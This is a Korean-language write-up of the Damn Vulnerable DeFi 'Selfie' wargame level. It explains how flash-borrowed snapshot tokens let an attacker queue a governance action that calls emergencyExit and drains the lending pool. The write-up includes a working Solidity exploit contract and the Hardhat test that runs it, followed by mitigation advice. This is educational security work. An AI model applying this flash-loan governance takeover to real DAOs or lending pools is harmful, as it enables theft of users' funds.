Damn Vulnerable DeFi-Selfie
DeFi 취약점과 공격 방법을 익히기 위한 워게임 문제를 풀고 풀이를 정리했다. v3.0.0 문제를 대상으로 했다.
Summary
플래시론으로 빌린 토큰을 이용해 거버넌스에 임의의 컨트랙트콜을 시킬 수 있다. 이를 이용하여 해당 거버넌스가 관리자로 등록된 풀의 토큰을 빼낼 수 있었다.
Keyword
governance, flash loan, snapshot, theft
Vulnerability
A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it. What could go wrong, right? You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal is to take them all.
풀에 있는모든 DVT 토큰을 빼내는 것이 목적이다. 코드는 SelfiePool 과 SimpleGovernance 이 주어진다. SimpleGovernance 는 거버넌스 토큰 수가 충분한 경우 임의의 컨트랙트 콜을 할 수 있는 기능을 제공한다. SelfiePool은 등록된 토큰을 flash loan으로 빌려주는 기능을 제공한다.
SelfiePool의 emergencyExit 함수는 거버넌스로부터의 요청이라면, 예치된 토큰을 전부 빼내준다. 응급 상황에 거버넌스 투표로 emergencyExit 를 허용하고, 이를 실행하는 기능이다.
function emergencyExit(address receiver) external onlyGovernance {
uint256 amount = token.balanceOf(address(this));
token.transfer(receiver, amount);
emit FundsDrained(receiver, amount);
}임의로 거버넌스에게 emergencyExit를 시키고, 공격자에게 토큰을 보낼 수 있다면 토큰을 훔칠 수 있을 것이다. 거버넌스를 장악할 방법은 무엇일까? 이를 알기 위해 거버넌스 컨트랙트를 살펴보자.
거버넌스 컨트랙트의 queueAction 함수를 호출하면 거버넌스가 실행할 작업을 예약할 수 있다. msg.sender가 총 거버넌스 토큰의 절반 이상을 소유한 경우에만 등록이 가능하다. 등록된 작업은 최소 2일이 지난 후 실행할 수 있다.
function queueAction(address target, uint128 value, bytes calldata data) external returns (uint256 actionId) {
if (!_hasEnoughVotes(msg.sender))
revert NotEnoughVotes(msg.sender);
if (target == address(this))
revert InvalidTarget();
if (data.length > 0 && target.code.length == 0)
revert TargetMustHaveCode();
actionId = _actionCounter;
_actions[actionId] = GovernanceAction({
target: target,
value: value,
proposedAt: uint64(block.timestamp),
executedAt: 0,
data: data
});
unchecked { _actionCounter++; }
emit ActionQueued(actionId, msg.sender);
}
function _canBeExecuted(uint256 actionId) private view returns (bool) {
GovernanceAction memory actionToExecute = _actions[actionId];
if (actionToExecute.proposedAt == 0) // early exit
return false;
uint64 timeDelta;
unchecked {
timeDelta = uint64(block.timestamp) - actionToExecute.proposedAt;
}
// @audit-info 등록 후 최소 2일 뒤 실행 가능
return actionToExecute.executedAt == 0 && timeDelta >= ACTION_DELAY_IN_SECONDS;
}
function _hasEnoughVotes(address who) private view returns (bool) {
// @audit 스냅샷이 존재하는 경우, 마지막 인터렉션의 직전 balance를 이용하게 될 수 있다.
// @audit 누구나 snapshot 갱신 가능함. snapshot을 조정해 실제 balance를 이용하거나, 직전 balance를 사용하는 등 조절 가능
uint256 balance = _governanceToken.getBalanceAtLastSnapshot(who);
uint256 halfTotalSupply = _governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}즉, 거버넌스 토큰을 전체의 1/2 이상 소유한다면 마음대로 작업을 실행시킬 수 있다는 의미이다. 그렇다면 어떻게 거버넌스 토큰을 얻을 수 있을까? SelfiePool의 배포 스크립트를 확인해보면 답을 알 수 있다. SelfiePool 에서 빌릴 수 있는 토큰은 거버넌스 토큰으로도 이용된다. 즉, 빌린 토큰으로 투표권 수 확인을 우회하고 요청할 수 있다.
// Deploy Damn Valuable Token Snapshot
// @audit 거버넌스 토큰 디플로이
token = await (await ethers.getContractFactory('DamnValuableTokenSnapshot', deployer)).deploy(TOKEN_INITIAL_SUPPLY);
// Deploy governance contract
governance = await (await ethers.getContractFactory('SimpleGovernance', deployer)).deploy(token.address);
expect(await governance.getActionCounter()).to.eq(1);
// Deploy the pool
// @audit 풀에서 빌려주는 토큰은 즉 거버넌스 토큰이다.
pool = await (await ethers.getContractFactory('SelfiePool', deployer)).deploy(
token.address,
governance.address
);이를 통합하여 작성한 PoC 는 다음과 같다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SelfiePool.sol";
import "./ISimpleGovernance.sol";
import "../DamnValuableTokenSnapshot.sol";
contract SelfiePoC {
SelfiePool pool;
ISimpleGovernance governance;
DamnValuableTokenSnapshot token;
address owner;
uint256 actionId;
constructor(SelfiePool _pool, ISimpleGovernance _governance, DamnValuableTokenSnapshot _token) {
pool = _pool;
governance = _governance;
token = _token;
owner = msg.sender;
}
function exploit(uint256 _amount) public {
pool.flashLoan(IERC3156FlashBorrower(address(this)), address(token), _amount, "");
}
function execute() public {
governance.executeAction(actionId);
}
function onFlashLoan(
address _initiator,
address _token,
uint256 _amount,
uint256 _fee,
bytes calldata _data
) public returns (bytes32) {
// 새 스냅샷으로 전환하여 balance 이용하도록 함
token.snapshot();
// 거버넌스 등록
bytes memory _payload_data = abi.encodeWithSignature("emergencyExit(address)", owner);
actionId = governance.queueAction(address(pool), 0, _payload_data);
// 토큰 다시 반환 셋팅.
token.approve(address(pool), _amount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
} it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const SelfiePoCFactory = await ethers.getContractFactory('SelfiePoC', player);
const poc = await SelfiePoCFactory.deploy(
pool.address,
governance.address,
token.address
);
await (await poc.exploit(TOKENS_IN_POOL)).wait();
await ethers.provider.send("evm_increaseTime", [60 * 60 * 24 * 2]); // 2 days pass
await (await poc.execute()).wait();
});플래시론으로 토큰을 빌리고, 스냅샷을 넘겨 balance를 그대로 사용하도록 한다. 이후 거버넌스에 작업을 등록한다. 2일 후 거버넌스에 등록한 작업을 실행하면 토큰이 인출된다.
Impact
Pool 컨트랙트 소유의 토큰을 탈취한다.
Mitigation
거버넌스 토큰을 따로 만들어 이용하고, 거버넌스 토큰을 플래시론으로 빌려주지 않는다. 또는 투표권을 단순히 거버넌스 토큰의 balance로 계산하지 말고, 일정 기간 들고있어야 투표권으로 전환되는 형태로 비즈니스 로직을 변경한다면 플래시론에 대비할 수 있겠다.
tags: writeup, blockchain, solidity, smart contract, defi, erc20, flashloan, crypto theft, snapshot, dao